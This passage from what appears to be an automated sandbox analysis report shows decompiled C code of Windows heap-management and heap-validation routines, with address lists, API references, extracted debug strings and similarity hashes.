											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0x6aa08748 - 1;
										if( *0x6aa08748 >= 1) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E6A91B150();
												} else {
													E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E6A91B150();
												__eflags =  *0x6aa07bc8 - _t446;
												if( *0x6aa07bc8 == _t446) {
													__eflags = 1;
													E6A9D2073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E6A9DA80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E6A93A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E6A93B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E6A93A830(_t553, _v64, _v24);
								_t286 = E6A937D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E6A937D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E6A9D1411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E6A937D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E6A937D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E6A9D1411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E6A94174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E6A93B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E6A937D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E6A9D14FB(_t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E6A9399BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E6A93A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E6A94ABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x6a93a309
0x6a93a316
0x6a93a319
0x6a93a31d
0x6a93a32d
0x6a93a331
0x6a981e0d
0x6a981e10
0x6a93a3cb
0x6a93a3cb
0x6a93a3bd
0x6a93a3c3
0x6a93a3c3
0x6a93a33a
0x6a981e17
0x6a981e1b
0x6a981e1d
0x6a981e2f
0x6a981e34
0x6a981e36
0x6a981e3c
0x6a981e3c
0x6a981e3c
0x6a981e3c
0x6a981e36
0x6a981e42
0x6a981e45
0x6a981e47
0x6a93a3f8
0x6a93a3f8
0x6a93a3fb
0x6a93a3fd
0x6a981e50
0x6a93a403
0x6a93a411
0x6a93a411
0x6a93a411
0x6a93a41e
0x6a93a420
0x6a93a424
0x6a93a427
0x6a93a7c9
0x6a93a7cd
0x6a93a7d2
0x6a93a7d9
0x6a93a7e0
0x6a93a7e3
0x6a93a7ed
0x6a93a7f3
0x6a93a7f9
0x6a93a7ff
0x6a93a802
0x6a93a807
0x6a93a809
0x6a93a809
0x6a93a809
0x6a93a80f
0x6a93a80f
0x6a93a812
0x6a93a81c
0x6a93a821
0x6a93a824
0x6a93a42d
0x6a93a42d
0x6a93a42d
0x6a93a42d
0x6a93a42d
0x6a93a436
0x6a93a43a
0x6a93a609
0x6a93a60d
0x6a93a612
0x6a93a616
0x6a93a61a
0x6a981e57
0x6a981e59
0x00000000
0x00000000
0x6a981e5f
0x6a93a620
0x6a93a627
0x6a981e64
0x6a981e66
0x6a981e6c
0x6a981e72
0x6a981e76
0x6a981e95
0x6a981e9a
0x6a981e78
0x6a981e8d
0x6a981e92
0x6a981ea0
0x6a981ea5
0x6a981eaa
0x6a981eb2
0x6a981eb6
0x6a981eb9
0x6a981eb9
0x6a981ebe
0x6a981ec2
0x6a981ec2
0x6a981e66
0x6a93a62d
0x6a93a633
0x6a93a636
0x6a93a63a
0x6a93a63c
0x6a93a640
0x6a93a642
0x6a93a644
0x6a93a644
0x6a93a644
0x6a93a64d
0x6a93a64d
0x6a93a651
0x6a93a655
0x6a981eca
0x6a981ed1
0x00000000
0x00000000
0x6a981ed7
0x00000000
0x6a93a65b
0x6a93a669
0x6a93a66e
0x6a93a670
0x00000000
0x00000000
0x6a93a676
0x6a93a67b
0x6a93a680
0x6a93a682
0x6a981f1a
0x6a93a688
0x6a93a688
0x6a93a688
0x6a93a68a
0x6a93a68d
0x6a981f24
0x6a981f2a
0x6a981f31
0x6a981f43
0x6a981f43
0x6a981f31
0x6a93a693
0x6a93a697
0x6a93a69d
0x6a93a6a0
0x6a93a6a6
0x6a93a6a8
0x6a93a6a8
0x6a93a6a8
0x6a93a6a8
0x6a93a6b2
0x6a93a6b7
0x6a93a6c1
0x6a93a6c6
0x6a93a6d2
0x6a93a6d9
0x6a93a6e3
0x6a93a6e6
0x6a93a6eb
0x6a93a6ed
0x6a93a6ed
0x6a93a6ed
0x6a93a6ed
0x6a93a6f3
0x6a93a6f8
0x6a93a702
0x6a93a70a
0x6a93a70e
0x6a93a71a
0x6a93a71e
0x6a981fcb
0x6a981fcf
0x6a981fdd
0x6a981fe3
0x6a981fe3
0x6a93a724
0x6a93a728
0x6a93a72a
0x6a93a72d
0x6a93a737
0x6a93a73a
0x6a93a73c
0x6a93a742
0x6a93a748
0x6a981f4d
0x6a981f50
0x6a981f56
0x6a981f5c
0x6a981f5f
0x6a981f7e
0x6a981f83
0x6a981f61
0x6a981f76
0x6a981f7b
0x6a981f89
0x6a981f8e
0x6a981f93
0x6a981f94
0x6a981f9a
0x6a981f9c
0x6a981f9e
0x6a981fa1
0x6a981fa1
0x6a981fa6
0x6a981fa6
0x6a981f50
0x6a93a74e
0x6a93a751
0x6a93a754
0x6a93a75d
0x6a93a75e
0x6a93a762
0x6a93a767
0x6a981faf
0x6a981fb0
0x6a981fb9
0x6a981fbe
0x6a981fc2
0x6a981fc2
0x6a93a76d
0x6a93a76d
0x6a93a775
0x6a93a778
0x6a93a77d
0x6a93a77d
0x6a93a71e
0x6a93a782
0x6a93a787
0x6a93a789
0x6a981ff3
0x6a93a78f
0x6a93a78f
0x6a93a78f
0x6a93a791
0x6a93a794
0x6a981ffd
0x6a982006
0x6a98200c
0x6a982017
0x6a982019
0x6a982024
0x6a982024
0x6a982024
0x6a982047
0x6a982047
0x6a98200c
0x6a93a79a
0x6a93a79f
0x6a93a7a4
0x6a93a7a9
0x6a93a7ab
0x6a98205a
0x6a93a7b1
0x6a93a7b1
0x6a93a7b1
0x6a93a7b3
0x6a93a7b6
0x00000000
0x6a93a7bc
0x6a982066
0x6a982068
0x6a982073
0x6a982073
0x6a982073
0x6a982078
0x6a982079
0x6a98207d
0x00000000
0x6a98207d
0x6a93a7b6
0x6a93a440
0x6a93a440
0x6a93a440
0x6a93a446
0x6a93a44c
0x6a93a44f
0x6a93a453
0x6a93a455
0x6a9820b3
0x6a9820b9
0x6a9820b9
0x6a93a45d
0x6a93a460
0x6a93a464
0x6a93a466
0x6a93a46b
0x6a93a46f
0x6a93a471
0x6a93a471
0x6a93a471
0x6a93a474
0x6a93a479
0x6a93a47d
0x6a93a47f
0x6a982229
0x6a98222f
0x6a93a3c8
0x6a93a3c8
0x6a93a3ca
0x6a93a3ca
0x00000000
0x6a93a3ca
0x6a982235
0x6a98223a
0x6a98223a
0x00000000
0x00000000
0x6a982240
0x6a982246
0x6a98224a
0x6a982269
0x6a98226e
0x6a98224c
0x6a982261
0x6a982266
0x6a982274
0x6a982279
0x6a98227e
0x6a982286
0x6a982288
0x6a98228d
0x6a98228d
0x6a982292
0x6a982292
0x6a982295
0x6a982295
0x00000000
0x6a982295
0x6a93a485
0x6a93a489
0x6a93a48b
0x6a93a48f
0x6a93a493
0x6a93a497
0x6a93a49b
0x6a93a4bb
0x6a93a4bb
0x6a93a4bd
0x6a93a4ff
0x6a93a4ff
0x6a93a501
0x6a93a505
0x6a93a50f
0x6a93a517
0x6a93a51b
0x6a93a527
0x6a93a52b
0x6a982182
0x6a982185
0x6a982193
0x6a982199
0x6a982199
0x6a93a531
0x6a93a535
0x6a93a538
0x6a93a548
0x6a93a54b
0x6a93a54d
0x6a93a553
0x6a93a559
0x6a982100
0x6a982103
0x6a982109
0x6a98210f
0x6a982112
0x6a982131
0x6a982136
0x6a982114
0x6a982129
0x6a98212e
0x6a98213c
0x6a982141
0x6a982147
0x6a98214d
0x6a982151
0x6a982154
0x6a982154
0x6a982159
0x6a982159
0x6a982103
0x6a93a55f
0x6a93a562
0x6a93a565
0x6a93a567
0x6a982162
0x6a93a56d
0x6a93a574
0x6a93a575
0x6a93a579
0x6a93a57e
0x6a982169
0x6a98216a
0x6a982170
0x6a982175
0x6a982179
0x6a982179
0x6a93a57e
0x6a93a584
0x6a93a58f
0x6a93a58f
0x6a93a52b
0x6a93a5ad
0x6a93a5bc
0x6a93a5c1
0x6a93a5c6
0x6a93a5cb
0x6a93a5cd
0x6a9821a9
0x6a93a5d3
0x6a93a5d3
0x6a93a5d3
0x6a93a5d5
0x6a93a5d8
0x6a9821b3
0x6a9821bc
0x6a9821c2
0x6a9821cd
0x6a9821cf
0x6a9821da
0x6a9821da
0x6a9821da
0x6a9821f7
0x6a9821f7
0x6a9821c2
0x6a93a5de
0x6a93a5e3
0x6a93a5e8
0x6a93a5ea
0x6a98220a
0x6a93a5f0
0x6a93a5f0
0x6a93a5f0
0x6a93a5f2
0x6a93a5f5
0x6a982219
0x6a98221b
0x6a98208c
0x6a98208c
0x6a98208c
0x6a982095
0x6a982096
0x6a982097
0x6a982098
0x6a9820a4
0x6a9820a5
0x6a9820a9
0x6a9820a9
0x00000000
0x6a93a5f5
0x6a93a4bf
0x6a93a4d3
0x6a93a4d8
0x6a93a4da
0x6a981ede
0x6a981ede
0x6a981ee4
0x6a981ee9
0x00000000
0x00000000
0x6a981f07
0x00000000
0x6a981f07
0x6a93a4e0
0x6a93a4e5
0x6a93a4e7
0x6a9820cb
0x6a93a4ed
0x6a93a4ed
0x6a93a4ed
0x6a93a4f2
0x6a93a4f5
0x6a9820d5
0x6a9820de
0x6a9820e4
0x6a9820f6
0x6a9820f6
0x6a9820e4
0x6a93a4fb
0x00000000
0x6a93a4fb
0x6a93a4a1
0x6a93a4a4
0x6a93a4a8
0x00000000
0x00000000
0x6a93a4aa
0x6a93a4ac
0x00000000
0x00000000
0x6a93a4b2
0x6a93a4b5
0x00000000
0x00000000
0x00000000
0x6a93a4b5
0x6a93a43a
0x6a93a340
0x6a93a346
0x6a93a600
0x00000000
0x6a93a600
0x6a93a34f
0x6a93a351
0x6a93a358
0x6a93a3c6
0x00000000
0x6a93a371
0x6a93a37a
0x6a93a37f
0x6a93a382
0x6a93a384
0x6a93a394
0x00000000
0x6a93a396
0x6a93a399
0x6a93a3a7
0x6a93a3b0
0x6a93a3b4
0x6a93a3bb
0x6a93a3d2
0x6a93a3da
0x6a93a3df
0x6a93a3e1
0x6a93a3e5
0x6a93a3ea
0x6a93a3f0
0x6a93a3f0
0x6a93a3e1
0x00000000
0x6a93a3bb
0x6a93a394

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00004000), ref: 6A93A4E0
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6A93A5C1
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6A93A5DE
RtlGetCurrentServiceSessionId.1105(?,00004000), ref: 6A93A676
RtlGetCurrentServiceSessionId.1105 ref: 6A93A782
RtlGetCurrentServiceSessionId.1105 ref: 6A93A79A
RtlGetCurrentServiceSessionId.1105 ref: 6A982012
RtlGetCurrentServiceSessionId.1105 ref: 6A982061
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6A982214

Strings

HEAP: , xrefs: 6A981E95, 6A981F7E, 6A982131, 6A982269
(UCRBlock != NULL), xrefs: 6A981EA0
HEAP[%wZ]: , xrefs: 6A981E88, 6A981F71, 6A982124, 6A98225C
(LONG)FreeEntry->Size > 1, xrefs: 6A98213C
((LONG)FreeEntry->Size > 1), xrefs: 6A981F89
(!TrailingUCR), xrefs: 6A982274

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1007659313-523794902
Opcode ID: a8fa0f0d258707d418e15259090c4e495b60df0e14a6ea7298f09c532110be31
Instruction ID: b0aba9ec1eb8f2dbac09e4d299eb96fed4e6c1637682569c06709cabf9e08876
Opcode Fuzzy Hash: a8fa0f0d258707d418e15259090c4e495b60df0e14a6ea7298f09c532110be31
Instruction Fuzzy Hash: DD42CE706087419FCB15CF28C488A2ABBF9FF89308F25496DE4A58B752DF35D981CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D4AEF, Relevance: 47.8, APIs: 18, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6A9D4AEF(signed int __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				signed int _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E6A91B150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E6A9CFA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E6A91B150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E6A91B150();
									} else {
										E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E6A91B150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E6A9CFA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E6A91B150();
										} else {
											E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E6A96D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E6A9DA80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E6A93E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E6A9DA80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
